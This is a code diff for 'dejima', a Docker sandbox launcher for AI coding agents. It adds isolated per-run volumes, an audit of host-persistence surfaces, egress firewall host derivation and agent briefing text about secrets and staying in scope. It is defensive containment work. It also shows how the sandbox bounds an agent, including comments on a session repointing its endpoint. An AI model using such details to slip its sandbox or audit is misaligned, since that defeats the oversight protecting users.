# Snapshot host-persistence surfaces so the post-run audit can report
|
||||
# anything that changed while this session ran (advisory - see bin/dejima-audit).
|
||||
"$SCRIPT_DIR/dejima-audit" snapshot "$WORKSPACE_DIR" "$SANDBOX_AUDIT_STATE" || true
|
||||
# Paired with the compare in cleanup(), which states why an isolated launch
|
||||
# does neither.
|
||||
if [ "$DEJIMA_ISOLATED" = 0 ]; then
|
||||
"$SCRIPT_DIR/dejima-audit" snapshot "$WORKSPACE_DIR" "$SANDBOX_AUDIT_STATE" || true
|
||||
fi
|
||||
|
||||
# When the sandbox is pointed at its own repo, its TCB (bin/, hooks/,
|
||||
# docker/, install.sh, test/) is mounted writable - warn, and the audit
|
||||
@@ -3377,10 +3884,34 @@ export SANDBOX_IMAGE
|
||||
#
|
||||
# The prefix is not decoration: project_slug maps a leading `/` to `-`, and
|
||||
# a Docker volume name may not start with one.
|
||||
_nvim_volume_slug="$(project_slug "$WORKSPACE_DIR")"
|
||||
export SANDBOX_NVIM_DATA="dejima_nvim-data${_nvim_volume_slug}"
|
||||
export SANDBOX_NVIM_STATE="dejima_nvim-state${_nvim_volume_slug}"
|
||||
export SANDBOX_NVIM_CACHE="dejima_nvim-cache${_nvim_volume_slug}"
|
||||
#
|
||||
# Per RUN rather than per project for an isolated launch, along with the shell
|
||||
# history - which is shared by every project even when these are not, so it is
|
||||
# otherwise the one surface where an isolated session reads what was typed in
|
||||
# any session before it. Every isolated launch has the same working
|
||||
# directory, so a slug would give them all the same four volumes and put back
|
||||
# exactly the thing described above.
|
||||
#
|
||||
# The run id is what makes them unreachable: no other launch computes that
|
||||
# name, so no other session can ask for these volumes whether or not the
|
||||
# removal in cleanup() gets to run.
|
||||
if [ "$DEJIMA_ISOLATED" = 1 ]; then
|
||||
export SANDBOX_NVIM_DATA="dejima_isolated-nvim-data-$DEJIMA_RUN_ID"
|
||||
export SANDBOX_NVIM_STATE="dejima_isolated-nvim-state-$DEJIMA_RUN_ID"
|
||||
export SANDBOX_NVIM_CACHE="dejima_isolated-nvim-cache-$DEJIMA_RUN_ID"
|
||||
export SANDBOX_BASH_HISTORY="dejima_isolated-bashhistory-$DEJIMA_RUN_ID"
|
||||
# The working directory, which is a volume rather than a host path here -
|
||||
# see SANDBOX_WORKSPACE_MOUNT above. It is the one of the five that holds
|
||||
# whatever the session actually did, so it is the one that most needs
|
||||
# removing rather than merely being unreachable.
|
||||
export SANDBOX_ISOLATED_WORK="dejima_isolated-work-$DEJIMA_RUN_ID"
|
||||
SANDBOX_ISOLATED_VOLUMES="$SANDBOX_NVIM_DATA $SANDBOX_NVIM_STATE $SANDBOX_NVIM_CACHE $SANDBOX_BASH_HISTORY $SANDBOX_ISOLATED_WORK"
|
||||
else
|
||||
_nvim_volume_slug="$(project_slug "$WORKSPACE_DIR")"
|
||||
export SANDBOX_NVIM_DATA="dejima_nvim-data${_nvim_volume_slug}"
|
||||
export SANDBOX_NVIM_STATE="dejima_nvim-state${_nvim_volume_slug}"
|
||||
export SANDBOX_NVIM_CACHE="dejima_nvim-cache${_nvim_volume_slug}"
|
||||
fi
|
||||
|
||||
# Not exec'd (the EXIT trap cleans up the generated temp files) and not a
|
||||
# bare command under set -e (a nonzero/interrupted container run - e.g.
|
||||
@@ -3576,10 +4107,74 @@ docker network create --label "dejima.run=$DEJIMA_RUN_ID" "$SANDBOX_RUN_NETWORK"
|
||||
# docker-compose.yml declares for the sandbox. A static test reads the same
|
||||
# names back out of the firewall scripts, so a script that starts reading a new
|
||||
# one fails rather than silently allowlisting less than it was told to.
|
||||
# The only two names here this launcher does not derive: they come from the
|
||||
# operator's own environment and travel through untouched. Marked exported
|
||||
# anyway, so that `-e NAME` carries a value rather than an empty string on a
|
||||
# shell where they were set without being exported.
|
||||
# EGRESS_HOST_ADDR comes from the operator's own environment and travels
|
||||
# through untouched. Marked exported anyway, so that `-e NAME` carries a value
|
||||
# rather than an empty string on a shell where it was set without being
|
||||
# exported.
|
||||
#
|
||||
# EGRESS_HOST_CANDIDATES is the other half of the clamp, and it is a list of
|
||||
# candidates rather than of ports because only the filter can decide.
|
||||
#
|
||||
# The clamp holds the host's own address to the ports it was told, ahead of
|
||||
# every wider rule - so a service dejima pointed at the host needs its port
|
||||
# there to be reachable at all. The launcher knows which destinations it
|
||||
# configured; it does not know the host's address, which the policy works out
|
||||
# from the default route inside the container. EGRESS_HOST_ADDR is the
|
||||
# operator's override for when that derivation is wrong, so it is normally
|
||||
# unset: comparing against it here meant nothing was ever derived on an
|
||||
# ordinary install, and a host-resident Loki at the gateway address stopped
|
||||
# being reachable the moment the clamp went first.
|
||||
#
|
||||
# So the launcher passes what it is sure of - a literal address with an
|
||||
# explicit port - and the policy keeps the port of each candidate whose
|
||||
# address is the host's. Nothing resolves a name on either side.
|
||||
#
|
||||
# A scheme default is not an explicit port: a remote https URL has none, and
|
||||
# adding 443 for it opened the host's own 443 - which on a box following
|
||||
# docs/remote-access.md is the reverse proxy in front of the web terminal.
|
||||
_egress_host_candidate() { # <url> -> addr:port, or nothing
|
||||
local rest hostport host port
|
||||
rest="${1#*://}"
|
||||
# Path, query and fragment, in that order: a URL may carry a query with no
|
||||
# path at all, and `?x=1` came through as part of the port.
|
||||
rest="${rest%%/*}"
|
||||
rest="${rest%%\?*}"
|
||||
rest="${rest%%#*}"
|
||||
# Userinfo. A password beginning with a digit read as the port.
|
||||
hostport="${rest##*@}"
|
||||
case "$hostport" in
|
||||
# Bracketed IPv6 with a port, then without. The unbracketed form has
|
||||
# no port by definition - every colon in it is part of the address -
|
||||
# which is why `[fe80::1]/` came out as `1]`.
|
||||
\[*\]:*) host="${hostport%]:*}]"; port="${hostport##*]:}" ;;
|
||||
\[*\]) return 0 ;;
|
||||
*:*) host="${hostport%:*}"; port="${hostport##*:}" ;;
|
||||
*) return 0 ;;
|
||||
esac
|
||||
case "$port" in ""|*[!0-9]*) return 0 ;; esac
|
||||
# A literal IPv4 address and nothing else. A name is a destination the
|
||||
# launcher cannot place, and the policy compares against an IPv4 address
|
||||
# because the host entry is one.
|
||||
case "$host" in
|
||||
*[!0-9.]*|"") return 0 ;;
|
||||
esac
|
||||
printf '%s:%s' "$host" "$port"
|
||||
}
|
||||
EGRESS_HOST_CANDIDATES=""
|
||||
for _hc_url in "$LOKI_URL" \
|
||||
"$([ -n "$DEJIMA_BACKEND_NAME" ] \
|
||||
&& config_type "backend.$DEJIMA_BACKEND_NAME.base_url" >/dev/null 2>&1 \
|
||||
&& config_get "backend.$DEJIMA_BACKEND_NAME" base_url)"; do
|
||||
[ -n "$_hc_url" ] || continue
|
||||
_hc="$(_egress_host_candidate "$_hc_url")"
|
||||
[ -n "$_hc" ] || continue
|
||||
case " $EGRESS_HOST_CANDIDATES " in
|
||||
*" $_hc "*) continue ;;
|
||||
esac
|
||||
EGRESS_HOST_CANDIDATES="${EGRESS_HOST_CANDIDATES:+$EGRESS_HOST_CANDIDATES }$_hc"
|
||||
done
|
||||
unset _hc_url _hc
|
||||
export EGRESS_HOST_CANDIDATES
|
||||
export EGRESS_HOST_ADDR EGRESS_HOST_PORTS
|
||||
|
||||
filter_env=(
|
||||
@@ -3598,6 +4193,7 @@ filter_env=(
|
||||
# could use.
|
||||
-e EGRESS_HOST_ADDR
|
||||
-e EGRESS_HOST_PORTS
|
||||
-e EGRESS_HOST_CANDIDATES # host-resident destinations this launch configured
|
||||
-e SANDBOX_HARNESS_DOMAINS
|
||||
-e SANDBOX_BACKEND_PROXIED_DOMAIN
|
||||
-e SANDBOX_CREDENTIAL_PROXY_SOCKET
|
||||
@@ -3688,6 +4284,12 @@ compose_status=0
|
||||
# Gated here as well as inside the shipper, which checks the same two keys for
|
||||
# itself: --no-conversation and --no-log are overrides held in this process,
|
||||
# and the shipper re-reads the config rather than inheriting them.
|
||||
#
|
||||
# An isolated launch reaches this with the key already overridden off, for
|
||||
# the reason the epitaph is: the shipper tails a transcript that is on the
|
||||
# host because the harness's state directory is mounted, and that mode mounts
|
||||
# none. One override up where the flag is read, rather than a check here that
|
||||
# the banner would then contradict.
|
||||
if [ "$(config_get_bool logging conversation)" = "1" ] &&
|
||||
[ -n "$(config_get logging loki_url)" ]; then
|
||||
"$SCRIPT_DIR/dejima-conversation-ship" "$WORKSPACE_DIR" &
|
||||
|
||||
@@ -495,6 +495,14 @@ _emit_seed_record() {
|
||||
DEJIMA_SEED+=("$rel"$'\t'"$src")
|
||||
}
|
||||
|
||||
# Called twice by core, and the second call is not a mistake. The first is
|
||||
# early, with the other two list loads, because the mount guard has to see
|
||||
# every host path a plugin names before anything is mounted. The second is
|
||||
# after harness_prepare_config, whose job is to PRODUCE per-run files - a
|
||||
# hook that makes a file has to run before the list that mounts it.
|
||||
#
|
||||
# So this resets rather than appends: the second call rebuilds the list, and a
|
||||
# plugin that emits the same entries twice gets them once.
|
||||
harness_seed_load() {
|
||||
DEJIMA_SEED=()
|
||||
harness_hook harness_seed
|
||||
|
||||
+116
-18
@@ -1661,7 +1661,7 @@ BRIEFING_FRAGMENT_MAX=16384
|
||||
# is a hard refusal (_briefing_substitute below), not a literal passthrough -
|
||||
# an unrecognized {{key}} reaching an agent's context verbatim is exactly the
|
||||
# kind of silent drift this whole function exists to prevent.
|
||||
_BRIEFING_WHITELIST="pr_command issue_command forge_name forge_ssh_host blocked_branches container_id project_dir workspace_dir session_id resume_command writable_mounts network_allowlist no_confirm_args harness_state_dir"
|
||||
_BRIEFING_WHITELIST="pr_command issue_command forge_name forge_ssh_host blocked_branches container_id project_dir workspace_dir session_id resume_command writable_mounts network_allowlist no_confirm_args harness_state_dir workspace_posture project_posture"
|
||||
|
||||
_briefing_whitelisted() {
|
||||
_set_contains "$_BRIEFING_WHITELIST" "$1"
|
||||
@@ -1671,14 +1671,30 @@ _briefing_whitelisted() {
|
||||
# allowlist is load-bearing for the agent too. Lives here, not in any
|
||||
# provider directory - see the module-level comment. A quoted heredoc, so
|
||||
# backticks and $ signs are literal and need no escaping.
|
||||
_briefing_core_preamble() {
|
||||
cat <<'BRIEFING_EOF'
|
||||
You are running inside the dejima Docker container, not directly on
|
||||
the user's machine, with
|
||||
{{no_confirm_args}} active (no tool-use confirmations).
|
||||
|
||||
What this means:
|
||||
- The workspace directory is bind-mounted read-write and is the real
|
||||
# What the session is told about where it is: which of the host it can see,
|
||||
# what it may hand back, and what survives it.
|
||||
#
|
||||
# Two variants rather than one paragraph with caveats, because the ordinary
|
||||
# one states four things an isolated launch makes false - that the workspace
|
||||
# is the real project, that ~/shared is shared with every other session
|
||||
# against it, that the harness keeps state on the host, and that the work is
|
||||
# recoverable there afterwards. A session acts on these: one that believes
|
||||
# its transcript outlives the container leaves things for a resume that
|
||||
# cannot happen.
|
||||
#
|
||||
# Continuation lines carry the two spaces the preamble's bullet list uses,
|
||||
# since this is substituted into one.
|
||||
_briefing_workspace_posture() {
|
||||
if [ "${DEJIMA_ISOLATED:-0}" = 1 ]; then
|
||||
printf '%s' "Nothing of the user's machine is mounted here and this session has no
|
||||
past: no project checkout, no memory, and no transcript of an earlier
|
||||
run. Your working directory is the container's own and goes with it, as
|
||||
does anything you clone or write into it. ~/shared is the single
|
||||
exception - a real host directory, made fresh for this session, which no
|
||||
earlier session wrote to and no later one will read. Put there whatever
|
||||
the user should still have afterwards."
|
||||
else
|
||||
printf '%s' "The workspace directory is bind-mounted read-write and is the real
|
||||
project. ~/shared is also a real, persistent host directory (this
|
||||
project's own, and not part of its checkout) - use it to hand the user a
|
||||
file (a screenshot, a temp script) without touching the project checkout,
|
||||
@@ -1687,8 +1703,37 @@ What this means:
|
||||
as readable by all of them. Your harness keeps its own state on the host too,
|
||||
so this session's transcript outlives the container - the work is
|
||||
recoverable on the host with the command at the end of this
|
||||
briefing.{{writable_mounts}} Everything else is disposable: installed system
|
||||
packages, anything outside the mounted paths, and the container itself go
|
||||
briefing."
|
||||
fi
|
||||
}
|
||||
|
||||
# The same split for what the session should expect to FIND. The ordinary
|
||||
# text is about a mounted checkout holding things that are not code; an
|
||||
# isolated session has no checkout to be careful with, and the useful
|
||||
# instruction is the opposite one - ask rather than look.
|
||||
_briefing_project_posture() {
|
||||
if [ "${DEJIMA_ISOLATED:-0}" = 1 ]; then
|
||||
printf '%s' "There is no project directory, so nothing you find in this container
|
||||
came from the user. If a task needs a file of theirs, say what you need
|
||||
rather than going looking for it: ~/shared is the only way they can hand
|
||||
you one."
|
||||
else
|
||||
printf '%s' "The project directory is mounted whole, so it can hold things that are not
|
||||
code: a .env, a database dump, a key someone left in the tree. Say so if
|
||||
you find one, and do not open, copy or send it anywhere unless the task
|
||||
actually requires it."
|
||||
fi
|
||||
}
|
||||
|
||||
_briefing_core_preamble() {
|
||||
cat <<'BRIEFING_EOF'
|
||||
You are running inside the dejima Docker container, not directly on
|
||||
the user's machine, with
|
||||
{{no_confirm_args}} active (no tool-use confirmations).
|
||||
|
||||
What this means:
|
||||
- {{workspace_posture}}{{writable_mounts}} Everything else is disposable: installed system
|
||||
packages, anything the mounts do not cover, and the container itself go
|
||||
away when this run ends.
|
||||
- A headless browser is installed: playwright, with chromium, importable
|
||||
from any directory in either module system. If you change something with a
|
||||
@@ -1726,13 +1771,10 @@ What this means:
|
||||
payment or production API acts on the world the moment it is called, with
|
||||
no diff for anyone to review afterwards. Do not ask for one of those to
|
||||
finish a task - say what you need and let the operator decide.
|
||||
- The project directory is mounted whole, so it can hold things that are not
|
||||
code: a .env, a database dump, a key someone left in the tree. Say so if
|
||||
you find one, and do not open, copy or send it anywhere unless the task
|
||||
actually requires it.
|
||||
- {{project_posture}}
|
||||
- Stay within the task you were given. Since there are no permission
|
||||
prompts here, be more conservative than usual about anything destructive,
|
||||
irreversible, or outside the project directory.
|
||||
irreversible, or outside your working directory.
|
||||
BRIEFING_EOF
|
||||
}
|
||||
|
||||
@@ -1742,8 +1784,36 @@ BRIEFING_EOF
|
||||
# workflow can only opt into it (requires_worktree = on), never edit or omit
|
||||
# it. _briefing_resolve_worktree splices this into the workflow fragment at
|
||||
# its `<!-- core: worktree -->` marker.
|
||||
_briefing_core_worktree() {
|
||||
# Where a branch's working tree must live, and why.
|
||||
#
|
||||
# The ordinary rule rests on one fact - that the bind-mounted project
|
||||
# directory is the only path backed by host storage - and an isolated launch
|
||||
# has no such path, so every clause of it would be advice about a checkout
|
||||
# that is not there. What stays true is the question the rule answers: where
|
||||
# work can be put such that it is not thrown away.
|
||||
#
|
||||
# Both worktree workflows stated the first bullet identically in their own
|
||||
# fragments, which left the same argument in three places and only two of
|
||||
# them substitutable. It is core's now, so a workflow declaring
|
||||
# requires_worktree says where the block goes and nothing about what it says.
|
||||
_briefing_core_worktree_isolated() {
|
||||
cat <<'BRIEFING_EOF'
|
||||
- A worktree here is just a directory, and nothing in this container is the
|
||||
user's checkout: clone what you need into your working directory and work
|
||||
there. The rule about keeping a worktree under the mounted project does
|
||||
not apply, because there is no mounted project, and a `git config` in
|
||||
here reaches no repository of theirs. What leaves this container is what
|
||||
you push and what you leave in ~/shared.
|
||||
BRIEFING_EOF
|
||||
}
|
||||
|
||||
_briefing_core_worktree() {
|
||||
[ "${DEJIMA_ISOLATED:-0}" = 0 ] || { _briefing_core_worktree_isolated; return 0; }
|
||||
cat <<'BRIEFING_EOF'
|
||||
- Do new work in a git worktree for the feature branch, not by switching
|
||||
branches in place in the mounted checkout - that's the user's actual
|
||||
working copy, and changing its branch out from under them is disruptive
|
||||
even if you switch it back.
|
||||
- The worktree MUST live under the mounted project directory itself, e.g.
|
||||
`git worktree add .worktrees/<branch> -b <branch>` run from the project
|
||||
root - never `../<branch>` or any other path outside it, including
|
||||
@@ -1986,6 +2056,10 @@ _briefing_resolve_key() {
|
||||
printf '%s' "GitHub read-only$hosts"
|
||||
fi
|
||||
;;
|
||||
# Both of these differ by whether this is an isolated launch, and the
|
||||
# prose for each case lives with the preamble it is substituted into.
|
||||
workspace_posture) _briefing_workspace_posture ;;
|
||||
project_posture) _briefing_project_posture ;;
|
||||
blocked_branches) manifest_get workflow "$workflow" blocked_branches ;;
|
||||
project_dir) printf '%s' "${WORKSPACE_DIR:-}" ;;
|
||||
workspace_dir) printf '%s' "${WORKSPACE_DIR:-}" ;;
|
||||
@@ -2161,6 +2235,18 @@ _briefing_core_tools() {
|
||||
printf '%s' "$out"
|
||||
}
|
||||
|
||||
# What closes an isolated briefing, in place of the harness's own sentence
|
||||
# about resuming on the host.
|
||||
_briefing_core_isolated_close() {
|
||||
cat <<'BRIEFING_EOF'
|
||||
This session cannot be resumed. Its transcript is inside the container and
|
||||
goes when the container does, so anything worth keeping has to leave before
|
||||
you finish: into ~/shared, and into a pushed branch where this session has a
|
||||
forge to push to at all. Say what you left there, rather than assuming the
|
||||
user can read it back out of the session afterwards.
|
||||
BRIEFING_EOF
|
||||
}
|
||||
|
||||
briefing_compose() {
|
||||
local forge="$1" workflow="$2" harness="$3"
|
||||
local caps autonomy workflow_frag harness_frag text
|
||||
@@ -2221,7 +2307,19 @@ briefing_compose() {
|
||||
# business resolving.
|
||||
text+="$(_briefing_core_closing_a)"
|
||||
text+=$'\n\n'
|
||||
text+="$harness_frag"
|
||||
# The harness fragment is about resuming this session on the host, which
|
||||
# for an isolated launch is the one thing it cannot do: the state that
|
||||
# resume reads is the state this mode does not mount. Replaced rather
|
||||
# than dropped, because a session told nothing would reasonably assume
|
||||
# the usual arrangement and leave work for a resume that never comes.
|
||||
#
|
||||
# The fragment is still composed and validated above, so a harness whose
|
||||
# own briefing is broken is refused in this mode too.
|
||||
if [ "${DEJIMA_ISOLATED:-0}" = 1 ]; then
|
||||
text+="$(_briefing_core_isolated_close)"
|
||||
else
|
||||
text+="$harness_frag"
|
||||
fi
|
||||
|
||||
_briefing_substitute "$text" "$forge" "$workflow" "$harness"
|
||||
}
|
||||
|
||||
@@ -40,6 +40,27 @@ share_projects_root() { projects_root "$1"; }
|
||||
# The host directory mounted at ~/shared for a launch against $2.
|
||||
share_dir_for() { project_dir_for "$1" "$2"; }
|
||||
|
||||
# Where an isolated launch's ~/shared lives: a sibling of the per-project
|
||||
# root, holding one directory per SESSION rather than one per project.
|
||||
#
|
||||
# A sibling rather than a slug inside it because an isolated session has no
|
||||
# project to be keyed by, and the one thing this layout must never do is hand
|
||||
# a second session the directory a first one used. A name is not enough to
|
||||
# promise that, which is why the directory below is made rather than
|
||||
# computed.
|
||||
isolated_share_root() { printf '%s/isolated' "${1%/}"; }
|
||||
|
||||
# Makes this session's share directory under that root and prints its path.
|
||||
# Creating is the point: `mktemp -d` is what makes "no other session has this
|
||||
# directory" true for two launches in the same second, where a name built from
|
||||
# a timestamp would silently hand both of them one directory.
|
||||
isolated_share_make() {
|
||||
local root
|
||||
root="$(isolated_share_root "$1")"
|
||||
mkdir -p "$root" || return 1
|
||||
mktemp -d "$root/$(date -u +%Y%m%d-%H%M%S)-XXXXXX"
|
||||
}
|
||||
|
||||
# The slugs belonging to $1: its own, plus one per live git worktree nested
|
||||
# underneath it. One per line, sorted, no duplicates.
|
||||
#
|
||||
|
||||
+49
-2
@@ -58,6 +58,8 @@ esac
|
||||
source "$(dirname "$(readlink -f "$0")")/dejima-provider-lib.sh"
|
||||
# shellcheck source=dejima-color-lib.sh
|
||||
source "$(dirname "$(readlink -f "$0")")/dejima-color-lib.sh"
|
||||
# shellcheck source=dejima-version-lib.sh
|
||||
source "$(dirname "$(readlink -f "$0")")/dejima-version-lib.sh"
|
||||
|
||||
REPO_ROOT="$(cd "$(dirname "$(readlink -f "$0")")/.." && pwd)"
|
||||
|
||||
@@ -110,6 +112,25 @@ _remote_tip() {
|
||||
printf '%s' "${out%%$'\t'*}"
|
||||
}
|
||||
|
||||
# The remote's newest release tag, or nothing. Same hardened invocation as
|
||||
# _remote_tip and for the same reasons; `--tags` with a pattern so a tag that
|
||||
# is not a release cannot become the answer.
|
||||
#
|
||||
# Newest by sort order, which for a date is newest in time - the whole reason
|
||||
# a release is a date rather than a number somebody increments.
|
||||
_remote_release() {
|
||||
local url="$1" out timeout=()
|
||||
command -v timeout >/dev/null 2>&1 && timeout=(timeout 5)
|
||||
out="$(env -u GIT_DIR -u GIT_WORK_TREE "${timeout[@]}" \
|
||||
git -C / \
|
||||
-c protocol.allow=never \
|
||||
-c protocol.https.allow=always \
|
||||
-c protocol.ssh.allow=always \
|
||||
-c protocol.file.allow=always \
|
||||
ls-remote --tags --refs "$url" '[0-9]*' 2>/dev/null)" || return 1
|
||||
printf '%s' "$(printf '%s\n' "$out" | sed -n 's#.*refs/tags/##p' | sort -V | tail -1)"
|
||||
}
|
||||
|
||||
# stderr dropped rather than shown: a config this cannot read is one bin/dejima
|
||||
# has already refused to start on, and a version check is not the place anyone
|
||||
# should first hear about it.
|
||||
@@ -138,11 +159,15 @@ _usable_url "$url" || exit 0
|
||||
|
||||
cache="$(_cache_file)"
|
||||
tip=""
|
||||
remote_release=""
|
||||
if [ -f "$cache" ]; then
|
||||
read -r c_branch c_tip < "$cache" 2>/dev/null || true
|
||||
# Three fields now; a cache written before the third existed reads as an
|
||||
# unknown release, which is the same answer a failed lookup gives.
|
||||
read -r c_branch c_tip c_release < "$cache" 2>/dev/null || true
|
||||
c_age=$(( $(date +%s) - $(stat -c %Y "$cache" 2>/dev/null || echo 0) ))
|
||||
if [ "${c_branch:-}" = "$upstream" ] && [ "$c_age" -lt "$CHECK_INTERVAL" ]; then
|
||||
tip="${c_tip:-}"
|
||||
case "${c_release:-}" in ""|"-") remote_release="" ;; *) remote_release="$c_release" ;; esac
|
||||
cached=1
|
||||
fi
|
||||
fi
|
||||
@@ -151,8 +176,14 @@ if [ -z "${cached:-}" ]; then
|
||||
# A failed lookup is recorded, not just skipped. Without that, a checkout
|
||||
# with no route to its remote pays the timeout on every single launch.
|
||||
tip="$(_remote_tip "$url" "$upstream")" || tip=""
|
||||
# Only when there is something to report: a checkout that is up to date
|
||||
# exits below without printing, and asking for the tags as well would be
|
||||
# a second request per launch for an answer nobody reads.
|
||||
if [ -n "$tip" ] && [ "$tip" != "$head_sha" ]; then
|
||||
remote_release="$(_remote_release "$url")" || remote_release=""
|
||||
fi
|
||||
mkdir -p "$(dirname "$cache")" 2>/dev/null \
|
||||
&& printf '%s %s\n' "$upstream" "${tip:--}" > "$cache" 2>/dev/null
|
||||
&& printf '%s %s %s\n' "$upstream" "${tip:--}" "${remote_release:--}" > "$cache" 2>/dev/null
|
||||
fi
|
||||
|
||||
# "-" is a recorded failure; empty is a branch the remote does not have.
|
||||
@@ -192,6 +223,22 @@ else
|
||||
printf ' %sdejima: %s/%s has commits this checkout does not.%s\n' \
|
||||
"$C_WARN" "$_remote_shown" "$_branch_shown" "$C_RESET" >&2
|
||||
fi
|
||||
# Which release, when the remote has tags to say so. A commit count answers
|
||||
# "is there something newer" and nothing else; a release answers "how far
|
||||
# behind am I, and what would I be getting" - which is the question, and the
|
||||
# reason the changelog is named right here rather than left to be found.
|
||||
#
|
||||
# Both sides printed even when they name the same release: a checkout on
|
||||
# 2026.10.12 whose remote is also on 2026.10.12 is behind by commits not yet
|
||||
# released, and saying that is more honest than naming one version.
|
||||
if [ -n "$remote_release" ]; then
|
||||
_local_release="$(dejima_version "$REPO_ROOT")"
|
||||
printf ' %s is on %s%s%s; this checkout is on %s%s%s.\n' \
|
||||
"$_remote_shown" "$C_KEY" "$(sanitize "$remote_release")" "$C_RESET" \
|
||||
"$C_KEY" "$_local_release" "$C_RESET" >&2
|
||||
printf ' What each release changed: %s%s/CHANGELOG.md%s\n' \
|
||||
"$C_KEY" "$REPO_ROOT" "$C_RESET" >&2
|
||||
fi
|
||||
# install.sh is safe to re-run, and a release can change what it links on PATH,
|
||||
# so pulling is only half the update. Both paths absolute because the operator
|
||||
# reading this is not necessarily standing in this checkout.
|
||||
|
||||
@@ -0,0 +1,49 @@
|
||||
# Shared library: which release a checkout is on. Sourced by bin/dejima (for
|
||||
# --version and the startup banner) and bin/dejima-update-check (to say what
|
||||
# the remote has that this does not). Not on PATH and not executable.
|
||||
#
|
||||
# A release is a date - 2026.10.12 - and the git tag on `main` is where it
|
||||
# lives. Nothing in the tree records it, which is the point: a VERSION file
|
||||
# says what was released and goes on saying it while a checkout is pulled
|
||||
# past that release, and the one moment the answer matters is the moment it
|
||||
# would be wrong. `git describe` cannot drift from history.
|
||||
#
|
||||
# A date rather than a version number because the question an operator has is
|
||||
# how old theirs is, and because MAJOR.MINOR would be a promise about
|
||||
# compatibility and patch lines that SECURITY.md explicitly does not make:
|
||||
# the tip of `main` is the only supported version, and a tag is a record of
|
||||
# what shipped rather than something to stay on.
|
||||
|
||||
# The release this checkout is on, as one word.
|
||||
#
|
||||
# 2026.10.12 exactly that release
|
||||
# 2026.10.12+37 thirty-seven commits past it, so on no release
|
||||
# unreleased a git checkout with no release tag yet
|
||||
# unknown no git at all, e.g. an unpacked tarball
|
||||
#
|
||||
# A second release on one day is 2026.10.12b - see docs/release.md - which
|
||||
# needs nothing here: the match below accepts it and sort -V orders it after
|
||||
# the bare date.
|
||||
#
|
||||
# Local-only git, so none of the transport configuration dejima-update-check
|
||||
# has to work around is in the path here.
|
||||
dejima_version() { # <repo root>
|
||||
local root="$1" tag n
|
||||
git -C "$root" rev-parse --git-dir >/dev/null 2>&1 || { printf 'unknown'; return 0; }
|
||||
# Only tags that look like a release. A tag someone pushed for anything
|
||||
# else must not become the answer to "which release is this".
|
||||
tag="$(git -C "$root" describe --tags --abbrev=0 --match '[0-9]*' 2>/dev/null)" || tag=""
|
||||
[ -n "$tag" ] || { printf 'unreleased'; return 0; }
|
||||
n="$(git -C "$root" rev-list --count "$tag..HEAD" 2>/dev/null)" || n=0
|
||||
case "${n:-0}" in
|
||||
0|"") printf '%s' "$tag" ;;
|
||||
*) printf '%s+%s' "$tag" "$n" ;;
|
||||
esac
|
||||
}
|
||||
|
||||
# The release part alone, for comparing two of them. `2026.10.12+37` and
|
||||
# `2026.10.12` are the same release; what differs is whether the checkout
|
||||
# stopped there.
|
||||
dejima_version_release() { # <version>
|
||||
printf '%s' "${1%%+*}"
|
||||
}
|
||||
+55
-13
@@ -133,18 +133,23 @@ _cline_host_allowlisted() {
|
||||
#
|
||||
# $1 is the override file core owns for harnesses that take one on the command
|
||||
# line. Cline does not - it reads a JSON file at a fixed place inside its data
|
||||
# directory - so that argument is unused here and the file is written into the
|
||||
# state directory instead, before it is mounted. Returning nonzero stops the
|
||||
# directory - so that argument is unused here. $2 is the per-run staging
|
||||
# directory, which is where this writes instead. Returning nonzero stops the
|
||||
# launch.
|
||||
#
|
||||
# Rewritten every launch on purpose. A session can edit this file (it is inside
|
||||
# a read-write mount, and Cline rewrites it itself on its own schedule anyway),
|
||||
# so it is not a control while a session is running - the firewall is what
|
||||
# bounds where a repointed endpoint could reach. What rewriting buys is that a
|
||||
# repointing cannot persist into the next session.
|
||||
# Written per run and seeded in, not written where it will live. A session can
|
||||
# edit the installed copy - Cline rewrites it on its own schedule anyway - so
|
||||
# it is not a control while a session is running; the firewall is what bounds
|
||||
# where a repointed endpoint could reach. What this buys is that a repointing
|
||||
# cannot persist into the next session, which writing into the mounted state
|
||||
# directory only approximated by rewriting the file each launch.
|
||||
harness_prepare_config() {
|
||||
local state model settings
|
||||
state="$(_cline_state_dir "$WORKSPACE_DIR")" || {
|
||||
local model settings
|
||||
# Checked, not used: this function no longer writes into the state
|
||||
# directory, but a launch with no state_dir has nowhere to keep Cline's
|
||||
# state at all and the resume command in the briefing has no path to
|
||||
# name. Refusing here is where an operator can still act on it.
|
||||
_cline_state_dir "$WORKSPACE_DIR" >/dev/null || {
|
||||
echo "harness.cline: state_dir is not set, so there is nowhere to keep" >&2
|
||||
echo "this project's Cline state. Set it in [harness.cline]." >&2
|
||||
return 1
|
||||
@@ -260,11 +265,34 @@ harness_prepare_config() {
|
||||
return 1
|
||||
fi
|
||||
|
||||
settings="$state/settings"
|
||||
# Into the per-run staging directory core hands this hook, not into the
|
||||
# state directory on the host. Two things follow, and the second is why
|
||||
# --isolated works for this harness at all:
|
||||
#
|
||||
# The file is seeded rather than mounted, so entrypoint.sh installs a copy
|
||||
# the session owns and nothing Cline writes to it reaches the host. That
|
||||
# is what the comment above this function wanted - a repointing cannot
|
||||
# persist into the next session - and writing into the mounted state
|
||||
# directory only approximated it by rewriting the file each launch.
|
||||
#
|
||||
# And it no longer needs the state mount to arrive. An isolated launch
|
||||
# mounts no host state, which used to mean this file was written to a host
|
||||
# directory keyed on the container-local working directory and then not
|
||||
# mounted: Cline started with no model and fell back to its own hosted
|
||||
# endpoint, which the firewall was never asked to allow (#393).
|
||||
_CLINE_PROVIDERS_FILE=""
|
||||
settings="${2:-}"
|
||||
[ -n "$settings" ] || {
|
||||
echo "harness.cline: core passed no staging directory, so there is" >&2
|
||||
echo "nowhere to put this launch's provider configuration." >&2
|
||||
return 1
|
||||
}
|
||||
settings="$settings/cline-providers"
|
||||
mkdir -p "$settings" || return 1
|
||||
# 0700: the placeholder is not a secret, but this directory is where a real
|
||||
# one would land if anything ever wrote one here by mistake.
|
||||
chmod 700 "$state" 2>/dev/null || true
|
||||
# 0700 on the staging directory, for the reason the state directory had
|
||||
# it: the placeholder is not a secret, but this is where a real one would
|
||||
# land if anything ever wrote one here by mistake.
|
||||
chmod 700 "$settings" 2>/dev/null || true
|
||||
|
||||
# Cline DISCARDS a provider entry with no updatedAt and falls back to its
|
||||
# own hosted endpoint, silently - the run reports provider "cline" and a
|
||||
@@ -324,6 +352,10 @@ harness_prepare_config() {
|
||||
fi || { rm -f "$tmp"; return 1; }
|
||||
chmod 600 "$tmp"
|
||||
mv "$tmp" "$settings/providers.json"
|
||||
# Read by harness_seed below, which runs again after this hook for exactly
|
||||
# this: a hook whose job is to produce a per-run file has to run before
